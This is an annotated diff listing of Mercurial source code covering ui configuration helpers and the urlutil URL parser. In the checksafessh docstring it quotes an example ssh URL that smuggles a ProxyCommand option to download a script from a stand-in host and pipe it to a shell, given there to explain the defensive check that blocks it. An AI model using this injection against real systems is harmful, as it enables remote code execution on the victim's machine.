2140 b"\n(compatibility will be dropped after Mercurial-%s,"
2139 b" update your code.)"
2141 b" update your code.)"
2140 ) % version
2142 ) % version
2141 self.develwarn(msg, stacklevel=stacklevel, config=b'deprec-warn')
2143 self.develwarn(msg, stacklevel=stacklevel, config=b'deprec-warn')
2142
2144
2143 def exportableenviron(self):
2145 def exportableenviron(self):
2144 """The environment variables that are safe to export, e.g. through
2146 """The environment variables that are safe to export, e.g. through
2145 hgweb.
2147 hgweb.
2146 """
2148 """
2147 return self._exportableenviron
2149 return self._exportableenviron
2148
2150
2149 @contextlib.contextmanager
2151 @contextlib.contextmanager
2150 def configoverride(self, overrides, source=b""):
2152 def configoverride(self, overrides, source=b""):
2151 """Context manager for temporary config overrides
2153 """Context manager for temporary config overrides
2152 `overrides` must be a dict of the following structure:
2154 `overrides` must be a dict of the following structure:
2153 {(section, name) : value}"""
2155 {(section, name) : value}"""
2154 backups = {}
2156 backups = {}
2155 try:
2157 try:
2156 for (section, name), value in overrides.items():
2158 for (section, name), value in overrides.items():
2157 backups[(section, name)] = self.backupconfig(section, name)
2159 backups[(section, name)] = self.backupconfig(section, name)
2158 self.setconfig(section, name, value, source)
2160 self.setconfig(section, name, value, source)
2159 yield
2161 yield
2160 finally:
2162 finally:
2161 for __, backup in backups.items():
2163 for __, backup in backups.items():
2162 self.restoreconfig(backup)
2164 self.restoreconfig(backup)
2163 # just restoring ui.quiet config to the previous value is not enough
2165 # just restoring ui.quiet config to the previous value is not enough
2164 # as it does not update ui.quiet class member
2166 # as it does not update ui.quiet class member
2165 if (b'ui', b'quiet') in overrides:
2167 if (b'ui', b'quiet') in overrides:
2166 self.fixconfig(section=b'ui')
2168 self.fixconfig(section=b'ui')
2167
2169
2168 def estimatememory(self):
2170 def estimatememory(self):
2169 """Provide an estimate for the available system memory in Bytes.
2171 """Provide an estimate for the available system memory in Bytes.
2170
2172
2171 This can be overriden via ui.available-memory. It returns None, if
2173 This can be overriden via ui.available-memory. It returns None, if
2172 no estimate can be computed.
2174 no estimate can be computed.
2173 """
2175 """
2174 value = self.config(b'ui', b'available-memory')
2176 value = self.config(b'ui', b'available-memory')
2175 if value is not None:
2177 if value is not None:
2176 try:
2178 try:
2177 return util.sizetoint(value)
2179 return util.sizetoint(value)
2178 except error.ParseError:
2180 except error.ParseError:
2179 raise error.ConfigError(
2181 raise error.ConfigError(
2180 _(b"ui.available-memory value is invalid ('%s')") % value
2182 _(b"ui.available-memory value is invalid ('%s')") % value
2181 )
2183 )
2182 return util._estimatememory()
2184 return util._estimatememory()
2183
2185
2184
2186
2185 # we instantiate one globally shared progress bar to avoid
2187 # we instantiate one globally shared progress bar to avoid
2186 # competing progress bars when multiple UI objects get created
2188 # competing progress bars when multiple UI objects get created
2187 _progresssingleton = None
2189 _progresssingleton = None
2188
2190
2189
2191
2190 def getprogbar(ui):
2192 def getprogbar(ui):
2191 global _progresssingleton
2193 global _progresssingleton
2192 if _progresssingleton is None:
2194 if _progresssingleton is None:
2193 # passing 'ui' object to the singleton is fishy,
2195 # passing 'ui' object to the singleton is fishy,
2194 # this is how the extension used to work but feel free to rework it.
2196 # this is how the extension used to work but feel free to rework it.
2195 _progresssingleton = progress.progbar(ui)
2197 _progresssingleton = progress.progbar(ui)
2196 return _progresssingleton
2198 return _progresssingleton
2197
2199
2198
2200
2199 def haveprogbar():
2201 def haveprogbar():
2200 return _progresssingleton is not None
2202 return _progresssingleton is not None
2201
2203
2202
2204
2203 def _selectmsgdests(ui):
2205 def _selectmsgdests(ui):
2204 name = ui.config(b'ui', b'message-output')
2206 name = ui.config(b'ui', b'message-output')
2205 if name == b'channel':
2207 if name == b'channel':
2206 if ui.fmsg:
2208 if ui.fmsg:
2207 return ui.fmsg, ui.fmsg
2209 return ui.fmsg, ui.fmsg
2208 else:
2210 else:
2209 # fall back to ferr if channel isn't ready so that status/error
2211 # fall back to ferr if channel isn't ready so that status/error
2210 # messages can be printed
2212 # messages can be printed
2211 return ui.ferr, ui.ferr
2213 return ui.ferr, ui.ferr
2212 if name == b'stdio':
2214 if name == b'stdio':
2213 return ui.fout, ui.ferr
2215 return ui.fout, ui.ferr
2214 if name == b'stderr':
2216 if name == b'stderr':
2215 return ui.ferr, ui.ferr
2217 return ui.ferr, ui.ferr
2216 raise error.Abort(b'invalid ui.message-output destination: %s' % name)
2218 raise error.Abort(b'invalid ui.message-output destination: %s' % name)
2217
2219
2218
2220
2219 def _writemsgwith(write, dest, *args, **opts):
2221 def _writemsgwith(write, dest, *args, **opts):
2220 """Write ui message with the given ui._write*() function
2222 """Write ui message with the given ui._write*() function
2221
2223
2222 The specified message type is translated to 'ui.<type>' label if the dest
2224 The specified message type is translated to 'ui.<type>' label if the dest
2223 isn't a structured channel, so that the message will be colorized.
2225 isn't a structured channel, so that the message will be colorized.
2224 """
2226 """
2225 # TODO: maybe change 'type' to a mandatory option
2227 # TODO: maybe change 'type' to a mandatory option
2226 if 'type' in opts and not getattr(dest, 'structured', False):
2228 if 'type' in opts and not getattr(dest, 'structured', False):
2227 opts['label'] = opts.get('label', b'') + b' ui.%s' % opts.pop('type')
2229 opts['label'] = opts.get('label', b'') + b' ui.%s' % opts.pop('type')
2228 write(dest, *args, **opts)
2230 write(dest, *args, **opts)
@@ -1,810 +1,812 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23
23
24 if pycompat.TYPE_CHECKING:
24 if pycompat.TYPE_CHECKING:
25 from typing import (
25 from typing import (
26 Union,
26 Union,
27 )
27 )
28
28
29 urlreq = urllibcompat.urlreq
29 urlreq = urllibcompat.urlreq
30
30
31
31
32 def getport(port):
32 def getport(port):
33 # type: (Union[bytes, int]) -> int
33 # type: (Union[bytes, int]) -> int
34 """Return the port for a given network service.
34 """Return the port for a given network service.
35
35
36 If port is an integer, it's returned as is. If it's a string, it's
36 If port is an integer, it's returned as is. If it's a string, it's
37 looked up using socket.getservbyname(). If there's no matching
37 looked up using socket.getservbyname(). If there's no matching
38 service, error.Abort is raised.
38 service, error.Abort is raised.
39 """
39 """
40 try:
40 try:
41 return int(port)
41 return int(port)
42 except ValueError:
42 except ValueError:
43 pass
43 pass
44
44
45 try:
45 try:
46 return socket.getservbyname(pycompat.sysstr(port))
46 return socket.getservbyname(pycompat.sysstr(port))
47 except socket.error:
47 except socket.error:
48 raise error.Abort(
48 raise error.Abort(
49 _(b"no port number associated with service '%s'") % port
49 _(b"no port number associated with service '%s'") % port
50 )
50 )
51
51
52
52
53 class url(object):
53 class url(object):
54 r"""Reliable URL parser.
54 r"""Reliable URL parser.
55
55
56 This parses URLs and provides attributes for the following
56 This parses URLs and provides attributes for the following
57 components:
57 components:
58
58
59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
60
60
61 Missing components are set to None. The only exception is
61 Missing components are set to None. The only exception is
62 fragment, which is set to '' if present but empty.
62 fragment, which is set to '' if present but empty.
63
63
64 If parsefragment is False, fragment is included in query. If
64 If parsefragment is False, fragment is included in query. If
65 parsequery is False, query is included in path. If both are
65 parsequery is False, query is included in path. If both are
66 False, both fragment and query are included in path.
66 False, both fragment and query are included in path.
67
67
68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
69
69
70 Note that for backward compatibility reasons, bundle URLs do not
70 Note that for backward compatibility reasons, bundle URLs do not
71 take host names. That means 'bundle://../' has a path of '../'.
71 take host names. That means 'bundle://../' has a path of '../'.
72
72
73 Examples:
73 Examples:
74
74
75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
79 >>> url(b'file:///home/joe/repo')
79 >>> url(b'file:///home/joe/repo')
80 <url scheme: 'file', path: '/home/joe/repo'>
80 <url scheme: 'file', path: '/home/joe/repo'>
81 >>> url(b'file:///c:/temp/foo/')
81 >>> url(b'file:///c:/temp/foo/')
82 <url scheme: 'file', path: 'c:/temp/foo/'>
82 <url scheme: 'file', path: 'c:/temp/foo/'>
83 >>> url(b'bundle:foo')
83 >>> url(b'bundle:foo')
84 <url scheme: 'bundle', path: 'foo'>
84 <url scheme: 'bundle', path: 'foo'>
85 >>> url(b'bundle://../foo')
85 >>> url(b'bundle://../foo')
86 <url scheme: 'bundle', path: '../foo'>
86 <url scheme: 'bundle', path: '../foo'>
87 >>> url(br'c:\foo\bar')
87 >>> url(br'c:\foo\bar')
88 <url path: 'c:\\foo\\bar'>
88 <url path: 'c:\\foo\\bar'>
89 >>> url(br'\\blah\blah\blah')
89 >>> url(br'\\blah\blah\blah')
90 <url path: '\\\\blah\\blah\\blah'>
90 <url path: '\\\\blah\\blah\\blah'>
91 >>> url(br'\\blah\blah\blah#baz')
91 >>> url(br'\\blah\blah\blah#baz')
92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
93 >>> url(br'file:///C:\users\me')
93 >>> url(br'file:///C:\users\me')
94 <url scheme: 'file', path: 'C:\\users\\me'>
94 <url scheme: 'file', path: 'C:\\users\\me'>
95
95
96 Authentication credentials:
96 Authentication credentials:
97
97
98 >>> url(b'ssh://joe:xyz@x/repo')
98 >>> url(b'ssh://joe:xyz@x/repo')
99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
100 >>> url(b'ssh://joe@x/repo')
100 >>> url(b'ssh://joe@x/repo')
101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
102
102
103 Query strings and fragments:
103 Query strings and fragments:
104
104
105 >>> url(b'http://host/a?b#c')
105 >>> url(b'http://host/a?b#c')
106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
109
109
110 Empty path:
110 Empty path:
111
111
112 >>> url(b'')
112 >>> url(b'')
113 <url path: ''>
113 <url path: ''>
114 >>> url(b'#a')
114 >>> url(b'#a')
115 <url path: '', fragment: 'a'>
115 <url path: '', fragment: 'a'>
116 >>> url(b'http://host/')
116 >>> url(b'http://host/')
117 <url scheme: 'http', host: 'host', path: ''>
117 <url scheme: 'http', host: 'host', path: ''>
118 >>> url(b'http://host/#a')
118 >>> url(b'http://host/#a')
119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
120
120
121 Only scheme:
121 Only scheme:
122
122
123 >>> url(b'http:')
123 >>> url(b'http:')
124 <url scheme: 'http'>
124 <url scheme: 'http'>
125 """
125 """
126
126
127 _safechars = b"!~*'()+"
127 _safechars = b"!~*'()+"
128 _safepchars = b"/!~*'()+:\\"
128 _safepchars = b"/!~*'()+:\\"
129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
130
130
131 def __init__(self, path, parsequery=True, parsefragment=True):
131 def __init__(self, path, parsequery=True, parsefragment=True):
132 # type: (bytes, bool, bool) -> None
132 # type: (bytes, bool, bool) -> None
133 # We slowly chomp away at path until we have only the path left
133 # We slowly chomp away at path until we have only the path left
134 self.scheme = self.user = self.passwd = self.host = None
134 self.scheme = self.user = self.passwd = self.host = None
135 self.port = self.path = self.query = self.fragment = None
135 self.port = self.path = self.query = self.fragment = None
136 self._localpath = True
136 self._localpath = True
137 self._hostport = b''
137 self._hostport = b''
138 self._origpath = path
138 self._origpath = path
139
139
140 if parsefragment and b'#' in path:
140 if parsefragment and b'#' in path:
141 path, self.fragment = path.split(b'#', 1)
141 path, self.fragment = path.split(b'#', 1)
142
142
143 # special case for Windows drive letters and UNC paths
143 # special case for Windows drive letters and UNC paths
144 if hasdriveletter(path) or path.startswith(b'\\\\'):
144 if hasdriveletter(path) or path.startswith(b'\\\\'):
145 self.path = path
145 self.path = path
146 return
146 return
147
147
148 # For compatibility reasons, we can't handle bundle paths as
148 # For compatibility reasons, we can't handle bundle paths as
149 # normal URLS
149 # normal URLS
150 if path.startswith(b'bundle:'):
150 if path.startswith(b'bundle:'):
151 self.scheme = b'bundle'
151 self.scheme = b'bundle'
152 path = path[7:]
152 path = path[7:]
153 if path.startswith(b'//'):
153 if path.startswith(b'//'):
154 path = path[2:]
154 path = path[2:]
155 self.path = path
155 self.path = path
156 return
156 return
157
157
158 if self._matchscheme(path):
158 if self._matchscheme(path):
159 parts = path.split(b':', 1)
159 parts = path.split(b':', 1)
160 if parts[0]:
160 if parts[0]:
161 self.scheme, path = parts
161 self.scheme, path = parts
162 self._localpath = False
162 self._localpath = False
163
163
164 if not path:
164 if not path:
165 path = None
165 path = None
166 if self._localpath:
166 if self._localpath:
167 self.path = b''
167 self.path = b''
168 return
168 return
169 else:
169 else:
170 if self._localpath:
170 if self._localpath:
171 self.path = path
171 self.path = path
172 return
172 return
173
173
174 if parsequery and b'?' in path:
174 if parsequery and b'?' in path:
175 path, self.query = path.split(b'?', 1)
175 path, self.query = path.split(b'?', 1)
176 if not path:
176 if not path:
177 path = None
177 path = None
178 if not self.query:
178 if not self.query:
179 self.query = None
179 self.query = None
180
180
181 # // is required to specify a host/authority
181 # // is required to specify a host/authority
182 if path and path.startswith(b'//'):
182 if path and path.startswith(b'//'):
183 parts = path[2:].split(b'/', 1)
183 parts = path[2:].split(b'/', 1)
184 if len(parts) > 1:
184 if len(parts) > 1:
185 self.host, path = parts
185 self.host, path = parts
186 else:
186 else:
187 self.host = parts[0]
187 self.host = parts[0]
188 path = None
188 path = None
189 if not self.host:
189 if not self.host:
190 self.host = None
190 self.host = None
191 # path of file:///d is /d
191 # path of file:///d is /d
192 # path of file:///d:/ is d:/, not /d:/
192 # path of file:///d:/ is d:/, not /d:/
193 if path and not hasdriveletter(path):
193 if path and not hasdriveletter(path):
194 path = b'/' + path
194 path = b'/' + path
195
195
196 if self.host and b'@' in self.host:
196 if self.host and b'@' in self.host:
197 self.user, self.host = self.host.rsplit(b'@', 1)
197 self.user, self.host = self.host.rsplit(b'@', 1)
198 if b':' in self.user:
198 if b':' in self.user:
199 self.user, self.passwd = self.user.split(b':', 1)
199 self.user, self.passwd = self.user.split(b':', 1)
200 if not self.host:
200 if not self.host:
201 self.host = None
201 self.host = None
202
202
203 # Don't split on colons in IPv6 addresses without ports
203 # Don't split on colons in IPv6 addresses without ports
204 if (
204 if (
205 self.host
205 self.host
206 and b':' in self.host
206 and b':' in self.host
207 and not (
207 and not (
208 self.host.startswith(b'[') and self.host.endswith(b']')
208 self.host.startswith(b'[') and self.host.endswith(b']')
209 )
209 )
210 ):
210 ):
211 self._hostport = self.host
211 self._hostport = self.host
212 self.host, self.port = self.host.rsplit(b':', 1)
212 self.host, self.port = self.host.rsplit(b':', 1)
213 if not self.host:
213 if not self.host:
214 self.host = None
214 self.host = None
215
215
216 if (
216 if (
217 self.host
217 self.host
218 and self.scheme == b'file'
218 and self.scheme == b'file'
219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
220 ):
220 ):
221 raise error.Abort(
221 raise error.Abort(
222 _(b'file:// URLs can only refer to localhost')
222 _(b'file:// URLs can only refer to localhost')
223 )
223 )
224
224
225 self.path = path
225 self.path = path
226
226
227 # leave the query string escaped
227 # leave the query string escaped
228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
229 v = getattr(self, a)
229 v = getattr(self, a)
230 if v is not None:
230 if v is not None:
231 setattr(self, a, urlreq.unquote(v))
231 setattr(self, a, urlreq.unquote(v))
232
232
233 def copy(self):
233 def copy(self):
234 u = url(b'temporary useless value')
234 u = url(b'temporary useless value')
235 u.path = self.path
235 u.path = self.path
236 u.scheme = self.scheme
236 u.scheme = self.scheme
237 u.user = self.user
237 u.user = self.user
238 u.passwd = self.passwd
238 u.passwd = self.passwd
239 u.host = self.host
239 u.host = self.host
240 u.path = self.path
240 u.path = self.path
241 u.query = self.query
241 u.query = self.query
242 u.fragment = self.fragment
242 u.fragment = self.fragment
243 u._localpath = self._localpath
243 u._localpath = self._localpath
244 u._hostport = self._hostport
244 u._hostport = self._hostport
245 u._origpath = self._origpath
245 u._origpath = self._origpath
246 return u
246 return u
247
247
248 @encoding.strmethod
248 @encoding.strmethod
249 def __repr__(self):
249 def __repr__(self):
250 attrs = []
250 attrs = []
251 for a in (
251 for a in (
252 b'scheme',
252 b'scheme',
253 b'user',
253 b'user',
254 b'passwd',
254 b'passwd',
255 b'host',
255 b'host',
256 b'port',
256 b'port',
257 b'path',
257 b'path',
258 b'query',
258 b'query',
259 b'fragment',
259 b'fragment',
260 ):
260 ):
261 v = getattr(self, a)
261 v = getattr(self, a)
262 if v is not None:
262 if v is not None:
263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
264 return b'<url %s>' % b', '.join(attrs)
264 return b'<url %s>' % b', '.join(attrs)
265
265
266 def __bytes__(self):
266 def __bytes__(self):
267 r"""Join the URL's components back into a URL string.
267 r"""Join the URL's components back into a URL string.
268
268
269 Examples:
269 Examples:
270
270
271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
274 'http://user:pw@host:80/?foo=bar&baz=42'
274 'http://user:pw@host:80/?foo=bar&baz=42'
275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
276 'http://user:pw@host:80/?foo=bar%3dbaz'
276 'http://user:pw@host:80/?foo=bar%3dbaz'
277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
278 'ssh://user:pw@[::1]:2200//home/joe#'
278 'ssh://user:pw@[::1]:2200//home/joe#'
279 >>> bytes(url(b'http://localhost:80//'))
279 >>> bytes(url(b'http://localhost:80//'))
280 'http://localhost:80//'
280 'http://localhost:80//'
281 >>> bytes(url(b'http://localhost:80/'))
281 >>> bytes(url(b'http://localhost:80/'))
282 'http://localhost:80/'
282 'http://localhost:80/'
283 >>> bytes(url(b'http://localhost:80'))
283 >>> bytes(url(b'http://localhost:80'))
284 'http://localhost:80/'
284 'http://localhost:80/'
285 >>> bytes(url(b'bundle:foo'))
285 >>> bytes(url(b'bundle:foo'))
286 'bundle:foo'
286 'bundle:foo'
287 >>> bytes(url(b'bundle://../foo'))
287 >>> bytes(url(b'bundle://../foo'))
288 'bundle:../foo'
288 'bundle:../foo'
289 >>> bytes(url(b'path'))
289 >>> bytes(url(b'path'))
290 'path'
290 'path'
291 >>> bytes(url(b'file:///tmp/foo/bar'))
291 >>> bytes(url(b'file:///tmp/foo/bar'))
292 'file:///tmp/foo/bar'
292 'file:///tmp/foo/bar'
293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
294 'file:///c:/tmp/foo/bar'
294 'file:///c:/tmp/foo/bar'
295 >>> print(url(br'bundle:foo\bar'))
295 >>> print(url(br'bundle:foo\bar'))
296 bundle:foo\bar
296 bundle:foo\bar
297 >>> print(url(br'file:///D:\data\hg'))
297 >>> print(url(br'file:///D:\data\hg'))
298 file:///D:\data\hg
298 file:///D:\data\hg
299 """
299 """
300 if self._localpath:
300 if self._localpath:
301 s = self.path
301 s = self.path
302 if self.scheme == b'bundle':
302 if self.scheme == b'bundle':
303 s = b'bundle:' + s
303 s = b'bundle:' + s
304 if self.fragment:
304 if self.fragment:
305 s += b'#' + self.fragment
305 s += b'#' + self.fragment
306 return s
306 return s
307
307
308 s = self.scheme + b':'
308 s = self.scheme + b':'
309 if self.user or self.passwd or self.host:
309 if self.user or self.passwd or self.host:
310 s += b'//'
310 s += b'//'
311 elif self.scheme and (
311 elif self.scheme and (
312 not self.path
312 not self.path
313 or self.path.startswith(b'/')
313 or self.path.startswith(b'/')
314 or hasdriveletter(self.path)
314 or hasdriveletter(self.path)
315 ):
315 ):
316 s += b'//'
316 s += b'//'
317 if hasdriveletter(self.path):
317 if hasdriveletter(self.path):
318 s += b'/'
318 s += b'/'
319 if self.user:
319 if self.user:
320 s += urlreq.quote(self.user, safe=self._safechars)
320 s += urlreq.quote(self.user, safe=self._safechars)
321 if self.passwd:
321 if self.passwd:
322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
323 if self.user or self.passwd:
323 if self.user or self.passwd:
324 s += b'@'
324 s += b'@'
325 if self.host:
325 if self.host:
326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
327 s += urlreq.quote(self.host)
327 s += urlreq.quote(self.host)
328 else:
328 else:
329 s += self.host
329 s += self.host
330 if self.port:
330 if self.port:
331 s += b':' + urlreq.quote(self.port)
331 s += b':' + urlreq.quote(self.port)
332 if self.host:
332 if self.host:
333 s += b'/'
333 s += b'/'
334 if self.path:
334 if self.path:
335 # TODO: similar to the query string, we should not unescape the
335 # TODO: similar to the query string, we should not unescape the
336 # path when we store it, the path might contain '%2f' = '/',
336 # path when we store it, the path might contain '%2f' = '/',
337 # which we should *not* escape.
337 # which we should *not* escape.
338 s += urlreq.quote(self.path, safe=self._safepchars)
338 s += urlreq.quote(self.path, safe=self._safepchars)
339 if self.query:
339 if self.query:
340 # we store the query in escaped form.
340 # we store the query in escaped form.
341 s += b'?' + self.query
341 s += b'?' + self.query
342 if self.fragment is not None:
342 if self.fragment is not None:
343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
344 return s
344 return s
345
345
346 __str__ = encoding.strmethod(__bytes__)
346 __str__ = encoding.strmethod(__bytes__)
347
347
348 def authinfo(self):
348 def authinfo(self):
349 user, passwd = self.user, self.passwd
349 user, passwd = self.user, self.passwd
350 try:
350 try:
351 self.user, self.passwd = None, None
351 self.user, self.passwd = None, None
352 s = bytes(self)
352 s = bytes(self)
353 finally:
353 finally:
354 self.user, self.passwd = user, passwd
354 self.user, self.passwd = user, passwd
355 if not self.user:
355 if not self.user:
356 return (s, None)
356 return (s, None)
357 # authinfo[1] is passed to urllib2 password manager, and its
357 # authinfo[1] is passed to urllib2 password manager, and its
358 # URIs must not contain credentials. The host is passed in the
358 # URIs must not contain credentials. The host is passed in the
359 # URIs list because Python < 2.4.3 uses only that to search for
359 # URIs list because Python < 2.4.3 uses only that to search for
360 # a password.
360 # a password.
361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
362
362
363 def isabs(self):
363 def isabs(self):
364 if self.scheme and self.scheme != b'file':
364 if self.scheme and self.scheme != b'file':
365 return True # remote URL
365 return True # remote URL
366 if hasdriveletter(self.path):
366 if hasdriveletter(self.path):
367 return True # absolute for our purposes - can't be joined()
367 return True # absolute for our purposes - can't be joined()
368 if self.path.startswith(br'\\'):
368 if self.path.startswith(br'\\'):
369 return True # Windows UNC path
369 return True # Windows UNC path
370 if self.path.startswith(b'/'):
370 if self.path.startswith(b'/'):
371 return True # POSIX-style
371 return True # POSIX-style
372 return False
372 return False
373
373
374 def localpath(self):
374 def localpath(self):
375 # type: () -> bytes
375 # type: () -> bytes
376 if self.scheme == b'file' or self.scheme == b'bundle':
376 if self.scheme == b'file' or self.scheme == b'bundle':
377 path = self.path or b'/'
377 path = self.path or b'/'
378 # For Windows, we need to promote hosts containing drive
378 # For Windows, we need to promote hosts containing drive
379 # letters to paths with drive letters.
379 # letters to paths with drive letters.
380 if hasdriveletter(self._hostport):
380 if hasdriveletter(self._hostport):
381 path = self._hostport + b'/' + self.path
381 path = self._hostport + b'/' + self.path
382 elif (
382 elif (
383 self.host is not None and self.path and not hasdriveletter(path)
383 self.host is not None and self.path and not hasdriveletter(path)
384 ):
384 ):
385 path = b'/' + path
385 path = b'/' + path
386 return path
386 return path
387 return self._origpath
387 return self._origpath
388
388
389 def islocal(self):
389 def islocal(self):
390 '''whether localpath will return something that posixfile can open'''
390 '''whether localpath will return something that posixfile can open'''
391 return (
391 return (
392 not self.scheme
392 not self.scheme
393 or self.scheme == b'file'
393 or self.scheme == b'file'
394 or self.scheme == b'bundle'
394 or self.scheme == b'bundle'
395 )
395 )
396
396
397
397
398 def hasscheme(path):
398 def hasscheme(path):
399 # type: (bytes) -> bool
399 # type: (bytes) -> bool
400 return bool(url(path).scheme) # cast to help pytype
400 return bool(url(path).scheme) # cast to help pytype
401
401
402
402
403 def hasdriveletter(path):
403 def hasdriveletter(path):
404 # type: (bytes) -> bool
404 # type: (bytes) -> bool
405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
406
406
407
407
408 def urllocalpath(path):
408 def urllocalpath(path):
409 # type: (bytes) -> bytes
409 # type: (bytes) -> bytes
410 return url(path, parsequery=False, parsefragment=False).localpath()
410 return url(path, parsequery=False, parsefragment=False).localpath()
411
411
412
412
413 def checksafessh(path):
413 def checksafessh(path):
414 # type: (bytes) -> None
414 # type: (bytes) -> None
415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
416
416
417 This is a sanity check for ssh urls. ssh will parse the first item as
417 This is a sanity check for ssh urls. ssh will parse the first item as
418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
419 Let's prevent these potentially exploited urls entirely and warn the
419 Let's prevent these potentially exploited urls entirely and warn the
420 user.
420 user.
421
421
422 Raises an error.Abort when the url is unsafe.
422 Raises an error.Abort when the url is unsafe.
423 """
423 """
424 path = urlreq.unquote(path)
424 path = urlreq.unquote(path)
425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
426 raise error.Abort(
426 raise error.Abort(
427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
428 )
428 )
429
429
430
430
431 def hidepassword(u):
431 def hidepassword(u):
432 # type: (bytes) -> bytes
432 # type: (bytes) -> bytes
433 '''hide user credential in a url string'''
433 '''hide user credential in a url string'''
434 u = url(u)
434 u = url(u)
435 if u.passwd:
435 if u.passwd:
436 u.passwd = b'***'
436 u.passwd = b'***'
437 return bytes(u)
437 return bytes(u)
438
438
439
439
440 def removeauth(u):
440 def removeauth(u):
441 # type: (bytes) -> bytes
441 # type: (bytes) -> bytes
442 '''remove all authentication information from a url string'''
442 '''remove all authentication information from a url string'''
443 u = url(u)
443 u = url(u)
444 u.user = u.passwd = None
444 u.user = u.passwd = None
445 return bytes(u)
445 return bytes(u)
446
446
447
447
448 def try_path(ui, url):
448 def try_path(ui, url):
449 """try to build a path from a url
449 """try to build a path from a url
450
450
451 Return None if no Path could built.
451 Return None if no Path could built.
452 """
452 """
453 try:
453 try:
454 # we pass the ui instance are warning might need to be issued
454 # we pass the ui instance are warning might need to be issued
455 return path(ui, None, rawloc=url)
455 return path(ui, None, rawloc=url)
456 except ValueError:
456 except ValueError:
457 return None
457 return None
458
458
459
459
460 def get_push_paths(repo, ui, dests):
460 def get_push_paths(repo, ui, dests):
461 """yields all the `path` selected as push destination by `dests`"""
461 """yields all the `path` selected as push destination by `dests`"""
462 if not dests:
